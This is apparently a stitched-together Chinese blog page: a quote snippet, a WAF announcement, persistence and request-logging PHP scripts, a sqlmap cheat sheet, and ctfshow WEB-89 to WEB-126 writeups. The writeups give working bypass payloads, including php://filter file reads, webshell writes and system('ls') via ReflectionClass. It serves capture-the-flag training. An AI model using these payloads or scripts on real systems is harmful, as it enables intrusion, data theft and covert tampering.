#<?php #// 一言数组 #$one_liners = array( "生活就像海洋，只有意志强大的人才能做到适应。", "不要让恐惧控制你的生活，控制恐惧的是你。", "生活不是单行路，每条路都通向爱与理解。", "真正的勇敢不是无所畏惧，而是挑战恐惧。", "生活不会按预期进行，但你可以按你的意愿去改变它。", "有些路看似很近，走去却很远，缺少耐心永远走不到头。", "幸福不会自己来临，它是需要我们去追求的。", "痛苦是成长的一部分，接受它，你会变得更强大。", "即使明天是世界末日，也要好好度过今天。", "不要迷失在别人的期待中，找到自己的路去走。", "命运不是机遇，而是选择。", "与其逃避痛苦，不如迎难而上。", "你的梦想只有你能守护，别人不能替你实现。", "所有的相遇都是命中注定的。", "勇敢并不意味着没有恐惧，而是面对恐惧。", "每个人的心里都有一道墙，推开它就会发现光明。", "追逐梦想的路上，哪怕跌倒也要爬起来。", "生活就像一场旅行，重要的不是终点，而是沿途的风景。", "失败只是成功的一部分，不要害怕失败。", "越是艰难的道路，越能磨练人的意志。", "活着就意味着不断地挑战自我。", "梦想不会自动实现，它需要努力和坚持。", "时间不会等你，抓紧每分每秒。", "有时候，放手比坚持更需要勇气。", "失去并不可怕，可怕的是失去之后的无所作为。", "每个人都有属于自己的使命，要努力去完成它。", "即使再艰难的旅途，也有美丽的风景。", "不要把今天的希望寄托在明天的空想中。", "每个人的心中都有一束光，照亮自己前行的路。", "人总是要为自己负责的，选择了就要坚持下去。", "现实虽然残酷，但我们仍然要对未来抱有希望。", "不要害怕改变，变化是生活的一部分。", "人生如戏，关键是你扮演什么角色。", "无论多么困难的事，只要心中有梦想，就能坚持下去。", "我们不能预见未来，但我们可以选择如何面对它。", "只要心中有光，哪怕身处黑暗也不会迷失。", "痛苦只是暂时的，坚持下去，光明终会到来。", "没有人能够一帆风顺，但每一次跌倒都是新的起点。", "人生中最大的敌人是自己，战胜自己就是最大的胜利。", "即使遇到再大的困难，也不要轻言放弃。", "每个人都有自己独特的光芒，不要让别人来定义你。", "无论如何，永远不要失去对生活的热爱。", "人生是一场马拉松，不在乎一时的得失。", "梦想是指引我们前进的灯塔，没有梦想，生活将变得黯淡。", "无论前路多么黑暗，只要不放弃，总能找到光明。", "每一次失败都是通往成功的阶梯。", "我们无法选择出身，但我们可以选择如何面对人生。", "生命中最重要的不是我们得到了什么，而是我们付出了什么。", "真正的强者不是没有眼泪，而是带着眼泪继续前行。", "每个生命都有自己的意义，不要轻易否定自己。" ); // 随机索引 #$index = array_rand($one_liners); // 输出随机一言，带有五彩字体并居中 echo " {$one_liners[$index]} "; ?>
新一代轻量化网页软WAF介绍支持web管理 黑名单 白名单 IP限制支持关键字过滤(需要自行选择)支持防御轻量DDOS更新日志：1.1：修复了服务器前使用其他waf和cdn后获取IP错误的情况1.2：优化了管理界面并加入了验证码功能Github
#<?php #function a() #{ # $raw=''; # $raw.=$_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n" ; # foreach($_SERVER as $key => $value) # { # if(substr($key,0,5)==='HTTP_') # { # $key=substr($key,5); # $raw.=$key . ' : ' . $value . "\r\n"; # } # } # $raw.="\r\n"; # $raw.=file_get_contents('php://input'); # return $raw; #} #function b() #{ # $data=date("Y/m/d H:i:s") . "\r\n" . a() . "\r\n\r\n"; # $f=fopen("/tmp/logs.txt","a"); # fwrite($f,$data); # fclose($f); #} #b(); #?>
#<?php #ignore_user_abort(true); #set_time_limit(0); #unlink(__FILE__); #$file = './.config.php'; #while (1){ # unlink($file); # usleep(0); #} #?>
<?php $ch= curl_init(); $timeout= 5; curl_setopt ($ch, CURLOPT_URL, 'https://api.xxx.xxx/xxx'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents= curl_exec($ch); curl_close($ch); preg_match('/https?:\/{2}[-A-Za-z0-9+&@#\/\%?=~_|!:,.;]+[-A-Za-z0-9+&@#\/\%=~_|]/i',$file_contents, $matches); $url = $matches[0]; echo" "; ?>
htpasswd -c /path/to/.htpasswd username <?php $htpasswd = '/path/to/.htpasswd'; // .htpasswd文件的路径 $realm = 'Restricted Area'; // 认证区域的名称 // 认证用户 function authenticate() { header('WWW-Authenticate: Basic realm="' . $GLOBALS['realm'] . '"'); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } // 检查认证信息 if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { authenticate(); } else { $fp = fopen($GLOBALS['htpasswd'], 'r'); while (!feof($fp)) { $line = trim(fgets($fp)); if (!empty($line)) { list($user, $pass) = explode(':', $line); if ($_SERVER['PHP_AUTH_USER'] == $user && md5($_SERVER['PHP_AUTH_PW']) == $pass) { fclose($fp); exit; } } } fclose($fp); authenticate(); } ?>
<?php session_start(); $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; // 1. 从文件中读取黑名单IP地址 $blacklist_file = fopen("/blacklist.txt", "r"); $blacklist = array(); while (($line = fgets($blacklist_file)) !== false) { $blacklist[] = trim($line); } fclose($blacklist_file); // 将攻击者IP地址添加到黑名单中 if (in_array($_SERVER['REMOTE_ADDR'], $blacklist)) { die("停下您的攻击,您已被禁止访问！"); } // 2. 访问频率限制 $count = 0; $time = time() - 180; // 限制3分钟内的访问频率 $req_count_diff = 0; // 记录请求次数的变量 // 检查来自同一IP地址的请求频率 $access_log = file("/log"); foreach ($access_log as $line) { $tokens = explode(" ", $line); $timestamp = strtotime($tokens[3]); if (($tokens[0] == $ip) && ($timestamp > $time)) { $count++; $req_count_diff++; } } // 如果访问频率超过限制，则延迟3秒 if ($count > 100) { sleep(3); } // 3. 用户行为分析 if ($_SESSION['last_request']) { $last_request = $_SESSION['last_request']; $req_count_diff = $req_count_diff - $last_request['req_count']; $ua_diff = strcmp($last_request['user_agent'], $user_agent); // 如果请求异常，则将IP地址添加到黑名单中 if (($ua_diff !== 0) || ($req_count_diff >= 100)) { $blacklist_file = fopen("/blacklist.txt", "a"); fwrite($blacklist_file, "$ip\n"); fclose($blacklist_file); die("Your IP address has been banned from accessing this website."); } } // 记录最后一个请求 $_SESSION['last_request'] = array( "req_count" => $req_count_diff, "user_agent" => $user_agent ); // 正常的页面渲染代码 echo "Hello, World!"; ?>
仅供学习参考，禁止用于其他非法途径常用指令:sqlmap url --dbs //爆数据库名 sqlmap url -D 数据库名 --tables //爆表名 sqlmap url -D 数据库名 -T 表名 --columns //爆字段 sqlmap url -D 数据库名 -T 表名 -C 字段名 --dump //结束 sqlmap -r 文件名 //burpsuit抓包保存文件全部指令: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT Connection string for direct database connection -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL -A AGENT, --user.. HTTP User-Agent header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST (e.g. "id=1") --param-del=PARA.. Character used for splitting parameter values (e.g. &) --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --cookie-del=COO.. Character used for splitting cookie values (e.g. ;) --live-cookies=L.. Live cookies file used for loading up-to-date values --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --mobile Imitate smartphone through HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file --ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401) --ignore-proxy Ignore system default proxy settings --ignore-redirects Ignore redirection attempts --ignore-timeouts Ignore connection timeouts --proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO.. Proxy authentication credentials (name:password) --proxy-file=PRO.. Load proxy list from a file --proxy-freq=PRO.. Requests between change of proxy from a given list --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) --check-tor Check to see if Tor is used properly --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --randomize=RPARAM Randomly change value for given parameter(s) --safe-url=SAFEURL URL address to visit frequently during testing --safe-post=SAFE.. POST data to send to a safe URL --safe-req=SAFER.. Load safe HTTP request from a file --safe-freq=SAFE.. Regular requests between visits to a safe URL --skip-urlencode Skip URL encoding of payload data --csrf-token=CSR.. Parameter used to hold anti-CSRF token --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token --csrf-method=CS.. HTTP method to use during anti-CSRF token page visit --csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0) --force-ssl Force usage of SSL/HTTPS --chunked Use HTTP chunked transfer encoded (POST) requests --hpp Use HTTP parameter pollution method --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --skip=SKIP Skip testing for given parameter(s) --skip-static Skip testing parameters that not appear to be dynamic --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") --param-filter=P.. Select testable parameter(s) by place (e.g. "POST") --dbms=DBMS Force back-end DBMS to provided value --dbms-cred=DBMS.. DBMS authentication credentials (user:password) --os=OS Force back-end DBMS operating system to provided value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --smart Perform thorough tests only if positive heuristic(s) --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-url=SEC.. Resulting page URL searched for second-order response --second-req=SEC.. Load second-order HTTP request from file Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Check for DBMS comments during enumeration --statements Retrieve SQL statements being run on DBMS -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDE DBMS database identifier(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First dump table entry to retrieve --stop=LIMITSTOP Last dump table entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=SQLQ.. SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns --common-files Check existence of common files User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=FILE.. Read a file from the back-end DBMS file system --file-write=FIL.. Write a local file on the back-end DBMS file system --file-dest=FILE.. Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE Load session from a stored (.sqlite) file -t TRAFFICFILE Log all HTTP traffic into a textual file --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") --base64=BASE64P.. Parameter(s) containing Base64 encoded data --base64-safe Use URL and filename safe Base64 alphabet (RFC 4648) --batch Never ask for user input, use the default behavior --binary-fields=.. Result fields having binary values (e.g. "digest") --check-internet Check Internet connection before assessing the target --cleanup Clean up the DBMS from sqlmap specific UDF and tables --crawl=CRAWLDEPTH Crawl the website starting from the target URL --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef") --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target URL --fresh-queries Ignore query results stored in session file --gpage=GOOGLEPAGE Use Google dork results from specified page number --har=HARFILE Log all HTTP traffic into a HAR file --hex Use hex conversion during data retrieval --output-dir=OUT.. Custom output directory path --parse-errors Parse and display DBMS error messages from responses --preprocess=PRE.. Use given script(s) for preprocessing (request) --postprocess=PO.. Use given script(s) for postprocessing (response) --repair Redump entries having unknown character marker (?) --save=SAVECONFIG Save options to a configuration INI file --scope=SCOPE Regexp for filtering targets --skip-heuristics Skip heuristic detection of SQLi/XSS/FI vulnerabilities --skip-waf Skip heuristic detection of WAF/IPS protection --table-prefix=T.. Prefix used for temporary tables (default: "sqlmap") --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --web-root=WEBROOT Web server document root directory (e.g. "/var/www") Miscellaneous: These options do not fit into any other category -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --beep Beep on question and/or when SQLi/XSS/FI is found --dependencies Check for missing (optional) sqlmap dependencies --disable-coloring Disable console output coloring --list-tampers Display list of available tamper scripts --offline Work in offline mode (only use session data) --purge Safely remove all content from sqlmap data directory --results-file=R.. Location of CSV results file in multiple targets mode --shell Prompt for an interactive sqlmap shell --tmp-dir=TMPDIR Local directory for storing temporary files --unstable Adjust options for unstable connections --update Update sqlmap --wizard Simple wizard interface for beginner users
仅供学习参考，禁止用于其他非法途径WEB-89<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }数组绕过payload:?num[]=1WEB-90<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }换行绕过payload:?num=%0a4476WEB-91<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }换行绕过payload:?cmd=%0aphpWEB-92<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }十六进制绕过payload:?num=0x117cWEB-93<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }八进制绕过payload:?num=010574WEB-94<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }换行绕过+八进制绕过payload:?num=%0a010574WEB-95<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }换行绕过+八进制绕过payload:?num=%0a010574WEB-96<?php highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }文件包含payload:?u=php://filter/read=convert.base64-encode/resource=flag.phpWEB-97<?php include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>MD5数组绕过payload:(post)a[]=1&b[]=2WEB-98<?php include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>三目运算符+变量覆盖,如果get传了值,那么就用post来覆盖掉get,如果get传参HTTP_FLAG的值为flag,则读取flagpayload:?flag=flag (post)HTTP_FLAG=flagWEB-99<?php highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>传入一句话木马payload:?n=1.php (post)content=木马WEB-100<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>is_numeric($v1) and is_numeric($v2) and is_numeric($v3);var_dump()方法是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.V1=为数字;v3=(;);v2=输出变量的值payload:?v1=1&v2=var_dump($ctfshow)&v3=;WEB-101<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>V1=为数字;v3=(;);v2=输出变量的值利用反射类:ReflectionClasspayload:?v1=1&v2=echo new ReflectionClass&v3=; WEB-102<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?>V2=数字;V3=可以进行文件包含;V1=可以调用函数substr($v2,2)(V2=截取第2个数字后的数)php -r 'echo base64_encode("<?=`cat *`;");' //PD89YGNhdCAqYDs php -r 'echo bin2hex("PD89YGNhdCAqYDs");' //5044383959474e6864434171594473 payload:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php (post)v1=hex2binWEB-103<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); } ?>和上题一样php -r 'echo base64_encode("<?=`cat *`;");' //PD89YGNhdCAqYDs php -r 'echo bin2hex("PD89YGNhdCAqYDs");' //5044383959474e6864434171594473 payload:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php (post)v1=hex2binWEB-104<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } } ?>SHA1绕过payload:?v2[]= (post)v1[]=WEB-105<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛？'; $suces='既然你想要那给你吧！'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>变量覆盖?payload=?suces=flag (post)flag=WEB-106<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } ?>SHA1绕过payload:?v2[]=1 (post)v1[]=2WEB-107<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } ?>MD5绕过payload:?v3[]= (post)v1[]=WEB-108<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>strrev(反转字符串)payload:?c=a%00778WEB-109<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>利用反射类:ReflectionClasspayload:?v1=ReflectionClass&v2=system('ls')WEB-110<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());"); } ?>FilesystemIterator(迭代器遍历目录)getcwd(获取当前工作目录)payload:?v1=FilesystemIterator&v2=getcwdWEB-111<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>$GLOBALS — 引用全局作用域中可用的全部变量payload:?v1=ctfshow&v2=GLOBALSWEB-112<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; } 文件包含payload:?file=php://filter/resource=flag.phpWEB-113<?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }文件包含payload:?file=compress.zlib://flag.phpWEB-114<?php error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼！"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }文件包含payload:?file=php://filter/read/resource=flag.phpWEB-115<?php include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }%0C(换页符)payload:?num=%0c36WEB-123<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>CTF[SHOW.COM=>CTF_SHOW.COMpayload:?$fl0g=flag_give_me (post)CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flagWEB-125<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>CTF[SHOW.COM=>CTF_SHOW.COMhighlight_file(高亮显示)payload:?1=flag.php (post)CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])WEB-126<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }CTF[SHOW.COM=>CTF_SHOW.COMpayload:?$fl0g=flag_give_me 